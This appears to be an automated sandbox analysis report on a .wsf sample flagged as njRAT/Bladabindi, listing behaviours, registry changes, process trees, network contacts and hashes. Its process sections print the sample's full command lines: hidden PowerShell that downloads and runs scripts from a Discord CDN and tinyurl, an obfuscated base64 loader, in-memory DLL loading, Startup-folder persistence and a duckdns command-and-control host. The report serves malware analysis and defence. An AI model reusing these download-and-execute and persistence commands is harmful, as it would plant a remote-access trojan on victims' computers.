Analysis Overview
SHA256
86f4317f0c4ae86c9a37a380a1bcd18a0bef3077a808b93110cd774697c66439
Threat Level: Known bad
The file 1f9af4f8289740daa05ccfead19a29a9 was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Drops startup file
Checks computer location settings
Suspicious use of SetThreadContext
Drops file in Windows directory
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
Modifies registry class
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-10-06 17:04
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-10-06 17:04
Reported
2022-10-06 17:07
Platform
win7-20220812-en
Max time kernel
133s
Max time network
45s
Command Line
Signatures
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | \??\c:\windows\installer\{ac76ba86-7ad7-1033-7b44-a90000000001}\pdffile_8.ico | C:\Windows\explorer.exe | N/A |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Windows\explorer.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" | C:\Windows\explorer.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell | C:\Windows\explorer.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1" | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents" | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 200000001a00eebbfe2300001000d09ad3fd8f23af46adb46c85480369c700000000 | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1100 wrote to memory of 1372 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1100 wrote to memory of 1372 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1100 wrote to memory of 1372 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1372 wrote to memory of 2028 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 1372 wrote to memory of 2028 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 1372 wrote to memory of 2028 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1f9af4f8289740daa05ccfead19a29a9.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027267777003802644/008.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ایسش.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ایسش.wsf');Start-Sleep 1;rm *.pif,*.uue
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Network
Files
memory/1100-54-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp
memory/1372-55-0x0000000000000000-mapping.dmp
memory/1372-57-0x000007FEF3E90000-0x000007FEF48B3000-memory.dmp
memory/1372-58-0x000007FEF3330000-0x000007FEF3E8D000-memory.dmp
memory/2028-59-0x0000000000000000-mapping.dmp
memory/1588-62-0x0000000003740000-0x0000000003750000-memory.dmp
memory/1372-63-0x0000000002564000-0x0000000002567000-memory.dmp
memory/1372-64-0x000000000256B000-0x000000000258A000-memory.dmp
memory/1372-65-0x0000000002564000-0x0000000002567000-memory.dmp
memory/1372-66-0x000000000256B000-0x000000000258A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-10-06 17:04
Reported
2022-10-06 17:07
Platform
win10v2004-20220812-en
Max time kernel
91s
Max time network
100s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ایسش.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ایسش.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4792 set thread context of 1148 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1f9af4f8289740daa05ccfead19a29a9.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027267777003802644/008.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ایسش.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ایسش.wsf');Start-Sleep 1;rm *.pif,*.uue
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCsAK8A+gDwAOQAugDXAOQAJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMAAwADAAOAB0AGMAbwAzADAALwA2ADEANgAzADIANAAxADAAOQA5ADEANAA2ADcANQA2ADIAMAAxAC8AMgAzADQANgA2ADAAMQA5ADQAOAA3ADYANQA3AD⌚⌚⌚ANgAyADAAMQAvAHMAdABuAG⌚⌚⌚AbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACQA⌚⌚⌚gBvAGQAYQBDAG8AcAB5ACAALAAgACcAJwbMBjMGNAYnACAAKQApAA==';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('¬¯úðäº×ä', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\nLeNPdi.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco30/6163241099146756201/2346601948765756201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'ایسش' ))"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /C Y /N /D Y /T 1 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | tinyurl.com | udp |
| US | 172.67.1.225:443 | tinyurl.com | tcp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| US | 52.168.117.170:443 | tcp | |
| US | 8.8.8.8:53 | wins0310ok.duckdns.org | udp |
| US | 23.237.25.131:8000 | wins0310ok.duckdns.org | tcp |
| NL | 178.79.208.1:80 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| US | 23.237.25.131:8000 | wins0310ok.duckdns.org | tcp |
Files
memory/1368-132-0x0000000000000000-mapping.dmp
memory/1368-133-0x00000251C1300000-0x00000251C1322000-memory.dmp
memory/1368-134-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/3532-135-0x0000000000000000-mapping.dmp
C:\Windows\Temp\nLeNPdi.vbs
| MD5 | 12acd97038a0f71c7798a9f23da80c78 |
| SHA1 | 6f71758dd0ab7d57bb6886b8b10658d476aa2391 |
| SHA256 | abdcf0cce360090b0d36306cd6cd6d460904993eaafb2b3fa70b6bc56210558e |
| SHA512 | dedd4b55ede48c6b7e376933ad9a8f58b25d0aea3a48c8d461a2988463dcb97025cb2cb8ce98e2994a3d00bb515aaed6671eac0d110115cad56e53f5b049efa9 |
memory/2072-137-0x0000000000000000-mapping.dmp
memory/1612-138-0x0000000000000000-mapping.dmp
memory/1612-139-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/4792-140-0x0000000000000000-mapping.dmp
memory/4792-141-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/1148-142-0x0000000000400000-0x000000000040C000-memory.dmp
memory/1148-143-0x000000000040677E-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b8a507ea87f4db23962b175b90889f86 |
| SHA1 | d7957c02ed987bbf866c98e4491a926b5453c58d |
| SHA256 | 291a53a8822be2c1b654a400ccd6fbbbf90712d4eb2078ccd2d10824d4de4e2b |
| SHA512 | 23c6774e1c2bb07e9eb814b60b040ebaea933bc664b9eebfa741495e89a8568ff86653b4efa58595fa94f7aff0216d132db96a871ca78600fea3e5c08b9d2bea |
memory/4792-146-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/1368-147-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5caad758326454b5788ec35315c4c304 |
| SHA1 | 3aef8dba8042662a7fcf97e51047dc636b4d4724 |
| SHA256 | 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391 |
| SHA512 | 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693 |
memory/1612-149-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/1148-150-0x0000000005110000-0x00000000051AC000-memory.dmp
memory/1148-151-0x0000000005760000-0x0000000005D04000-memory.dmp
memory/1148-152-0x0000000005380000-0x0000000005412000-memory.dmp
memory/1148-153-0x0000000005340000-0x000000000534A000-memory.dmp
memory/1148-154-0x00000000055D0000-0x0000000005636000-memory.dmp
memory/580-155-0x0000000000000000-mapping.dmp